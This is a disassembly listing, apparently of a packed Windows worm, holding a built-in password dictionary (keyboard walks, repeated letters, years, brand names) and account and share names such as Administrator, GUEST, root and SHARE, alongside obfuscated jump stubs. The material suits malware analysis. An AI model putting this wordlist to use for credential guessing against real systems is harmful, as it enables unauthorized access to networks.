dd offset aToyota_0 ; "toyota"
dd offset asc_432C6C ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ ; "z"
dd offset aZx ; "zx"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
dd offset aAsd ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfg ; "asdfg"
dd offset aAsdfgh ; "asdfgh"
dd offset aAsdfghj ; "asdfghj"
dd offset aAsdfghjk ; "asdfghjk"
dd offset aAsdfghjkl ; "asdfghjkl"
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
; ---------------------------------------------------------------------------
cld
loc_42E499: ; CODE XREF: .nsp0:0042E4ACj
jmp short loc_42E4DD
; ---------------------------------------------------------------------------
align 4
clc
jmp short loc_42E4E1
; ---------------------------------------------------------------------------
align 10h
dd offset aBb ; "bb"
dd offset aBbb ; "bbb"
dd offset aBbbb ; "bbbb"
; ---------------------------------------------------------------------------
loopne loc_42E499
inc edx
add al, bl
jmp short loc_42E4F5
; ---------------------------------------------------------------------------
align 4
shr bl, 1
inc edx
add ah, al
jmp short loc_42E4FD
; ---------------------------------------------------------------------------
align 4
mov eax, 0B40042EBh
jmp short loc_42E505
; ---------------------------------------------------------------------------
align 4
dd offset aCc ; "cc"
; ---------------------------------------------------------------------------
lodsb
jmp short loc_42E50D
; ---------------------------------------------------------------------------
align 4
movsb
jmp short loc_42E511
; ---------------------------------------------------------------------------
align 10h
pushf
jmp short loc_42E515
; ---------------------------------------------------------------------------
align 4
xchg eax, esp
jmp short loc_42E519
; ---------------------------------------------------------------------------
align 4
dd offset aCcccccc ; "ccccccc"
db 80h
; ---------------------------------------------------------------------------
loc_42E4DD: ; CODE XREF: .nsp0:loc_42E499j
jmp short loc_42E521
; ---------------------------------------------------------------------------
align 10h
db 74h
; ---------------------------------------------------------------------------
loc_42E4E1: ; CODE XREF: .nsp0:0042E49Dj
jmp short loc_42E525
; ---------------------------------------------------------------------------
align 4
dd offset aD ; "d"
dd offset aDd_2 ; "dd"
; ---------------------------------------------------------------------------
push 600042EBh
jmp short near ptr byte_42E535
; ---------------------------------------------------------------------------
align 4
pop eax
loc_42E4F5: ; CODE XREF: .nsp0:0042E4B1j
jmp short loc_42E539
; ---------------------------------------------------------------------------
align 4
dd offset aF ; "f"
; ---------------------------------------------------------------------------
push eax
loc_42E4FD: ; CODE XREF: .nsp0:0042E4B9j
jmp short loc_42E541
; ---------------------------------------------------------------------------
align 10h
dd offset aFff ; "fff"
db 44h
; ---------------------------------------------------------------------------
loc_42E505: ; CODE XREF: .nsp0:0042E4C1j
jmp short loc_42E549
; ---------------------------------------------------------------------------
align 4
cmp al, 0EBh
inc edx
add [eax], bh
loc_42E50D: ; CODE XREF: .nsp0:0042E4C9j
jmp short loc_42E551
; ---------------------------------------------------------------------------
align 10h
db 34h
; ---------------------------------------------------------------------------
loc_42E511: ; CODE XREF: .nsp0:0042E4CDj
jmp short near ptr loc_42E551+4
; ---------------------------------------------------------------------------
align 4
db 30h
; ---------------------------------------------------------------------------
loc_42E515: ; CODE XREF: .nsp0:0042E4D1j
jmp short loc_42E559
; ---------------------------------------------------------------------------
align 4
db 28h
; ---------------------------------------------------------------------------
loc_42E519: ; CODE XREF: .nsp0:0042E4D5j
jmp short near ptr loc_42E559+4
; ---------------------------------------------------------------------------
align 4
and bl, ch
inc edx
add [eax], bl
loc_42E521: ; CODE XREF: .nsp0:loc_42E4DDj
jmp short loc_42E565
; ---------------------------------------------------------------------------
align 4
db 14h
; ---------------------------------------------------------------------------
loc_42E525: ; CODE XREF: .nsp0:loc_42E4E1j
jmp short near ptr loc_42E565+4
; ---------------------------------------------------------------------------
align 4
dd offset aGg ; "gg"
dd offset aGgg ; "ggg"
dd offset aGggg ; "gggg"
db 0FCh
byte_42E535 db 0EAh, 42h, 0 ; CODE XREF: .nsp0:0042E4F1j
db 0F4h
; ---------------------------------------------------------------------------
loc_42E539: ; CODE XREF: .nsp0:loc_42E4F5j
jmp far ptr 42h:0EAF00042h
; ---------------------------------------------------------------------------
db 0ECh
; ---------------------------------------------------------------------------
loc_42E541: ; CODE XREF: .nsp0:loc_42E4FDj
jmp far ptr 42h:0EAE80042h
; ---------------------------------------------------------------------------
db 0E0h
; ---------------------------------------------------------------------------
loc_42E549: ; CODE XREF: .nsp0:loc_42E505j
jmp far ptr 42h:0EAD80042h
; ---------------------------------------------------------------------------
db 0D0h
; ---------------------------------------------------------------------------
loc_42E551: ; CODE XREF: .nsp0:loc_42E50Dj
; .nsp0:loc_42E511j
jmp far ptr 42h:0EACC0042h
; ---------------------------------------------------------------------------
db 0C8h
; ---------------------------------------------------------------------------
loc_42E559: ; CODE XREF: .nsp0:loc_42E515j
; .nsp0:loc_42E519j
jmp far ptr 42h:0EAC40042h
; ---------------------------------------------------------------------------
mov esp, 0B40042EAh
loc_42E565: ; CODE XREF: .nsp0:loc_42E521j
; .nsp0:loc_42E525j
jmp far ptr 42h:0EAAC0042h
; ---------------------------------------------------------------------------
dd offset aJ ; "j"
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK ; "k"
dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_42EA60 ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_4 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
dd offset a3edc ; "3edc"
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
dd offset aMnbv ; "mnbv"
dd offset a2486 ; "2486"
dd offset a2684 ; "2684"
dd offset a13579 ; "13579"
dd offset a753159 ; "753159"
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
dd offset a753951 ; "753951"
dd offset a142536 ; "142536"
dd offset aSystem ; "system"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrato_0 ; "Administrator"
dd offset aAdministrator ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup_0 ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset byte_438FDC
align 8
dword_42E7B8 dd 10h ; DATA XREF: sub_40B075+72w
; sub_40CE55+B60r ...
a142536 db '142536',0 ; DATA XREF: .nsp0:0042E738o
align 4
a753951 db '753951',0 ; DATA XREF: .nsp0:0042E734o
align 4
a951753 db '951753',0 ; DATA XREF: .nsp0:0042E730o
align 4
a159357 db '159357',0 ; DATA XREF: .nsp0:0042E72Co
align 4
a753159 db '753159',0 ; DATA XREF: .nsp0:0042E728o
align 4
a13579 db '13579',0 ; DATA XREF: .nsp0:0042E724o
align 4
a2684 db '2684',0 ; DATA XREF: .nsp0:0042E720o
align 4
a2486 db '2486',0 ; DATA XREF: .nsp0:0042E71Co
align 4
aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0042E718o
align 4
aMnb db 'mnb',0 ; DATA XREF: .nsp0:0042E714o
a112233 db '112233',0 ; DATA XREF: .nsp0:0042E710o
align 10h
a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0042E70Co
align 4
a3edc db '3edc',0 ; DATA XREF: .nsp0:0042E708o
align 10h
a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0042E704o
align 4
a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0042E700o
align 10h
a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0042E6FCo
align 4
aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0042E6F8o
align 10h
aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0042E6F4o
align 4
aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0042E6F0o
align 10h
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0042E6ECo
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0042E6E8o
align 4
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0042E6E4o
align 4
aQqww db 'qqww',0 ; DATA XREF: .nsp0:0042E6E0o
align 4
aAass db 'aass',0 ; DATA XREF: .nsp0:0042E6DCo
align 4
aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042E6D8o
align 4
aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0042E6D4o
align 4
aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0042E6D0o
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0042E6CCo
align 4
aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042E6C8o
align 4
aZzz db 'zzz',0 ; DATA XREF: .nsp0:0042E6C4o
aZz db 'zz',0 ; DATA XREF: .nsp0:0042E6C0o
align 4
aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042E6B8o
align 4
aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0042E6B4o
align 4
aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0042E6B0o
align 4
aQqq db 'qqq',0 ; DATA XREF: .nsp0:0042E6ACo
aQq db 'qq',0 ; DATA XREF: .nsp0:0042E6A8o
align 4
aQ: ; DATA XREF: .nsp0:0042E6A4o
unicode 0, <q>,0
aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0042E6A0o
align 10h
aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0042E69Co
align 4
aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042E698o
align 10h
aWww db 'www',0 ; DATA XREF: .nsp0:0042E694o
aWw db 'ww',0 ; DATA XREF: .nsp0:0042E690o
align 4
aW: ; DATA XREF: .nsp0:0042E68Co
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042E688o
align 4
aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0042E684o
align 4
aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0042E680o
align 4
aVvv db 'vvv',0 ; DATA XREF: sub_40CE55+267Co
; .nsp0:0042E67Co
aVv db 'vv',0 ; DATA XREF: .nsp0:0042E678o
align 4
aV: ; DATA XREF: .nsp0:0042E674o
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0042E670o
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0042E66Co
align 10h
aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042E668o
align 4
aYyy db 'yyy',0 ; DATA XREF: .nsp0:0042E664o
aYy db 'yy',0 ; DATA XREF: .nsp0:0042E660o
align 10h
aY: ; DATA XREF: .nsp0:0042E65Co
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042E658o
align 4
aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0042E654o
align 4
aTttt db 'tttt',0 ; DATA XREF: .nsp0:0042E650o
align 4
aTtt db 'ttt',0 ; DATA XREF: .nsp0:0042E64Co
aTt db 'tt',0 ; DATA XREF: .nsp0:0042E648o
align 4
aT: ; DATA XREF: .nsp0:0042E644o
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0042E640o
align 10h
aSssss db 'sssss',0 ; DATA XREF: .nsp0:0042E63Co
align 4
aSsss db 'ssss',0 ; DATA XREF: .nsp0:0042E638o
align 10h
aSss db 'sss',0 ; DATA XREF: .nsp0:0042E634o
aSs db 'ss',0 ; DATA XREF: .nsp0:0042E630o
align 4
aS_4: ; DATA XREF: .nsp0:0042E62Co
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0042E628o
align 4
aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0042E624o
align 4
aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:0042E620o
align 4
aUuu db 'uuu',0 ; DATA XREF: .nsp0:0042E61Co
aUu db 'uu',0 ; DATA XREF: .nsp0:0042E618o
align 4
aU: ; DATA XREF: .nsp0:0042E614o
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0042E610o
align 4
aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0042E60Co
align 10h
aPppp db 'pppp',0 ; DATA XREF: .nsp0:0042E608o
align 4
aPpp db 'ppp',0 ; DATA XREF: .nsp0:0042E604o
aPp db 'pp',0 ; DATA XREF: .nsp0:0042E600o
align 10h
aP: ; DATA XREF: .nsp0:0042E5FCo
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0042E5F8o
align 4
aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0042E5F4o
align 4
aOooo db 'oooo',0 ; DATA XREF: .nsp0:0042E5F0o
align 4
aOoo db 'ooo',0 ; DATA XREF: .nsp0:0042E5ECo
aOo db 'oo',0 ; DATA XREF: .nsp0:0042E5E8o
align 4
aO: ; DATA XREF: .nsp0:0042E5E4o
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0042E5E0o
align 10h
aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0042E5DCo
align 4
aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0042E5D8o
align 10h
aNnn db 'nnn',0 ; DATA XREF: .nsp0:0042E5D4o
aNn db 'nn',0 ; DATA XREF: .nsp0:0042E5D0o
align 4
aN: ; DATA XREF: .nsp0:0042E5CCo
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0042E5C8o
align 4
aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0042E5C4o
align 4
aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0042E5C0o
align 4
aMmm db 'mmm',0 ; DATA XREF: .nsp0:0042E5BCo
aMm db 'mm',0 ; DATA XREF: .nsp0:0042E5B8o
align 4
aM: ; DATA XREF: .nsp0:0042E5B4o
unicode 0, <m>,0
aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0042E5B0o
align 4
aLllll db 'lllll',0 ; DATA XREF: .nsp0:0042E5ACo
align 10h
aLlll db 'llll',0 ; DATA XREF: .nsp0:0042E5A8o
align 4
aLll db 'lll',0 ; DATA XREF: .nsp0:0042E5A4o
aLl db 'll',0 ; DATA XREF: .nsp0:0042E5A0o
align 10h
asc_42EA60: ; DATA XREF: .nsp0:0042E59Co
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0042E598o
align 4
aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0042E594o
align 4
aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0042E590o
align 4
aKkk db 'kkk',0 ; DATA XREF: .nsp0:0042E58Co
aKk db 'kk',0 ; DATA XREF: .nsp0:0042E588o
align 4
aK: ; DATA XREF: .nsp0:0042E584o
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0042E580o
align 10h
aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0042E57Co
align 4
aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0042E578o
align 10h
aJjj db 'jjj',0 ; DATA XREF: .nsp0:0042E574o
aJj db 'jj',0 ; DATA XREF: .nsp0:0042E570o
align 4
aJ: ; DATA XREF: .nsp0:0042E56Co
unicode 0, <j>,0
aIiiiii db 'iiiiii',0
align 4
aIiiii db 'iiiii',0
align 4
aIiii db 'iiii',0
align 4
aIii db 'iii',0
aIi db 'ii',0
align 4
aI_0:
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0
align 4
aHhhhh db 'hhhhh',0
align 10h
aHhhh db 'hhhh',0
align 4
aHhh db 'hhh',0
aHh db 'hh',0
align 10h
unicode 0, <h>,0
aGggggg db 'gggggg',0
align 4
aGgggg db 'ggggg',0
align 4
aGggg db 'gggg',0 ; DATA XREF: .nsp0:0042E530o
align 4
aGgg db 'ggg',0 ; DATA XREF: .nsp0:0042E52Co
aGg db 'gg',0 ; DATA XREF: .nsp0:0042E528o
align 4
aG:
unicode 0, <g>,0
aEeeeee db 'eeeeee',0
align 10h
aEeeee db 'eeeee',0
align 4
aEeee db 'eeee',0
align 10h
aEee db 'eee',0
aEe db 'ee',0
align 4
aE:
unicode 0, <e>,0
aFffff db 'fffff',0
align 4
aFfff db 'ffff',0
align 4
aFff db 'fff',0 ; DATA XREF: .nsp0:0042E500o
aFf db 'ff',0
align 4
aF: ; DATA XREF: .nsp0:0042E4F8o
unicode 0, <f>,0
aDdddd db 'ddddd',0
align 10h
aDddd db 'dddd',0
align 4
aDdd db 'ddd',0
aDd_2 db 'dd',0 ; DATA XREF: .nsp0:0042E4E8o
align 10h
aD: ; DATA XREF: .nsp0:0042E4E4o
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0
align 10h
aCccccccc db 'cccccccc',0
align 4
aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:0042E4D8o
aCccccc db 'cccccc',0
align 4
aCcccc db 'ccccc',0
align 4
aCccc_0 db 'cccc',0
align 4
aCcc db 'ccc',0
aCc db 'cc',0 ; DATA XREF: .nsp0:0042E4C4o
align 4
aC_1:
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0
align 4
aBbbbbbbb db 'bbbbbbbb',0
align 10h
aBbbbbbb db 'bbbbbbb',0
aBbbbbb db 'bbbbbb',0
align 10h
aBbbbb db 'bbbbb',0
align 4
aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:0042E4A8o
align 10h
aBbb db 'bbb',0 ; DATA XREF: .nsp0:0042E4A4o
aBb db 'bb',0 ; DATA XREF: .nsp0:0042E4A0o
align 4
aB_0:
unicode 0, <b>,0
aRfv db 'rfv',0
aEdc db 'edc',0 ; DATA XREF: .nsp0:0042E494o
aWsx db 'wsx',0 ; DATA XREF: .nsp0:0042E490o
aQaz db 'qaz',0 ; DATA XREF: .nsp0:0042E48Co
aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:0042E488o
align 4
aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:0042E484o
align 4
aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:0042E480o
aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0042E47Co
align 4
aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0042E478o
align 4
aAs db 'as',0 ; DATA XREF: .nsp0:0042E46Co
align 10h
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0042E468o
aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0042E464o
align 10h
aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0042E460o
align 4
aZxc db 'zxc',0 ; DATA XREF: .nsp0:0042E458o
aZx db 'zx',0 ; DATA XREF: .nsp0:0042E454o
align 10h
aZ: ; DATA XREF: .nsp0:0042E450o
; .nsp0:0042E6BCo
unicode 0, <z>,0
aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0042E44Co
aToyota db 'TOYOTA',0 ; DATA XREF: .nsp0:0042E414o
align 4
aKor db 'KOR',0 ; DATA XREF: .nsp0:0042E410o
aKor_0 db 'kor',0 ; DATA XREF: .nsp0:0042E408o
aChi db 'chi',0 ; DATA XREF: .nsp0:0042E404o
off_42EC80 dd offset byte_494843 ; DATA XREF: .nsp0:0042E400o
aSystem db 'system',0 ; DATA XREF: .nsp0:0042E3F8o
; .nsp0:0042E73Co
align 4
aServices db 'services',0 ; DATA XREF: .nsp0:0042E3F4o
align 4
aServers db 'servers',0 ; DATA XREF: .nsp0:0042E3F0o
aServer_0 db 'server',0 ; DATA XREF: .nsp0:0042E3E8o
align 4
aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .nsp0:0042E3E0o
align 4
aQwertyuio db 'qwertyuio',0 ; DATA XREF: .nsp0:0042E3DCo
align 10h
aQwertyui db 'qwertyui',0 ; DATA XREF: .nsp0:0042E3D8o
align 4
aQwertyu db 'qwertyu',0 ; DATA XREF: .nsp0:0042E3D4o
aQwe db 'qwe',0 ; DATA XREF: .nsp0:0042E3C4o
aQw db 'qw',0 ; DATA XREF: .nsp0:0042E3C0o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0042E3BCo
align 4
aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0042E3B8o
align 4
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0042E3B4o
align 10h
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0042E3B0o
align 4
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0042E3ACo
aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0042E3A8o
align 4
aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0042E3A4o
align 4
aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0042E3A0o
align 4
aAa db 'aa',0 ; DATA XREF: .nsp0:0042E398o
align 10h
aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0042E38Co
align 4
aSex db 'SEX',0 ; DATA XREF: .nsp0:0042E388o
aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0042E384o
align 4
aDisc_0 db 'DISC',0 ; DATA XREF: .nsp0:0042E380o
align 10h
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0042E37Co
align 4
aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0042E378o
align 4
aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0042E374o
align 4
aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0042E370o
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0042E36Co
aSony db 'sony',0 ; DATA XREF: .nsp0:0042E368o
align 4
a7654321 db '7654321',0 ; DATA XREF: .nsp0:0042E364o
a4321 db '4321',0 ; DATA XREF: .nsp0:0042E358o
align 4
a321 db '321',0 ; DATA XREF: .nsp0:0042E354o
a2006 db '2006',0 ; DATA XREF: .nsp0:0042E34Co
align 10h
a2005 db '2005',0 ; DATA XREF: .nsp0:0042E348o
align 4
a2004 db '2004',0 ; DATA XREF: .nsp0:0042E344o
align 10h
a2001 db '2001',0 ; DATA XREF: .nsp0:0042E338o
align 4
a2000 db '2000',0 ; DATA XREF: .nsp0:0042E334o
align 10h
a1999 db '1999',0 ; DATA XREF: .nsp0:0042E330o
align 4
a1998 db '1998',0 ; DATA XREF: .nsp0:0042E32Co
align 10h
a1997 db '1997',0 ; DATA XREF: .nsp0:0042E328o
align 4
a1996 db '1996',0 ; DATA XREF: .nsp0:0042E324o
align 10h
a1995 db '1995',0 ; DATA XREF: .nsp0:0042E320o
align 4
a1994 db '1994',0 ; DATA XREF: .nsp0:0042E31Co
align 10h
a1993 db '1993',0 ; DATA XREF: .nsp0:0042E318o
align 4
a1992 db '1992',0 ; DATA XREF: .nsp0:0042E314o
align 10h
a1991 db '1991',0 ; DATA XREF: .nsp0:0042E310o
align 4
a1990 db '1990',0 ; DATA XREF: .nsp0:0042E30Co
align 10h
a1989 db '1989',0 ; DATA XREF: .nsp0:0042E308o
align 4
a1988 db '1988',0 ; DATA XREF: .nsp0:0042E304o
align 10h
a1987 db '1987',0 ; DATA XREF: .nsp0:0042E300o
align 4
a1986 db '1986',0 ; DATA XREF: .nsp0:0042E2FCo
align 10h
a1985 db '1985',0 ; DATA XREF: .nsp0:0042E2F8o
align 4
a1984 db '1984',0 ; DATA XREF: .nsp0:0042E2F4o
align 10h
a1983 db '1983',0 ; DATA XREF: .nsp0:0042E2F0o
align 4
a1982 db '1982',0 ; DATA XREF: .nsp0:0042E2ECo
align 10h
a1981 db '1981',0 ; DATA XREF: .nsp0:0042E2E8o
align 4
a1980 db '1980',0 ; DATA XREF: .nsp0:0042E2E4o
align 10h
a1979 db '1979',0 ; DATA XREF: .nsp0:0042E2E0o
align 4
a1978 db '1978',0 ; DATA XREF: .nsp0:0042E2DCo
align 10h
a1977 db '1977',0 ; DATA XREF: .nsp0:0042E2D8o
align 4
a1976 db '1976',0 ; DATA XREF: .nsp0:0042E2D4o
align 10h
a1975 db '1975',0 ; DATA XREF: .nsp0:0042E2D0o
align 4
a1974 db '1974',0 ; DATA XREF: .nsp0:0042E2CCo
align 10h
a1973 db '1973',0 ; DATA XREF: .nsp0:0042E2C8o
align 4
a1972 db '1972',0 ; DATA XREF: .nsp0:0042E2C4o
align 10h
a1971 db '1971',0 ; DATA XREF: .nsp0:0042E2C0o
align 4
a1970 db '1970',0 ; DATA XREF: .nsp0:0042E2BCo
align 10h
a1969 db '1969',0 ; DATA XREF: .nsp0:0042E2B8o
align 4
a1968 db '1968',0 ; DATA XREF: .nsp0:0042E2B4o
align 10h
a1967 db '1967',0 ; DATA XREF: .nsp0:0042E2B0o
align 4
a1966 db '1966',0 ; DATA XREF: .nsp0:0042E2ACo
align 10h
a1965 db '1965',0 ; DATA XREF: .nsp0:0042E2A8o
align 4
a1964 db '1964',0 ; DATA XREF: .nsp0:0042E2A4o
align 10h
a1963 db '1963',0 ; DATA XREF: .nsp0:0042E2A0o
align 4
a1962 db '1962',0 ; DATA XREF: .nsp0:0042E29Co
align 10h
a1961 db '1961',0 ; DATA XREF: .nsp0:0042E298o
align 4
a1960 db '1960',0 ; DATA XREF: .nsp0:0042E294o
align 10h
a1959 db '1959',0 ; DATA XREF: .nsp0:0042E290o
align 4
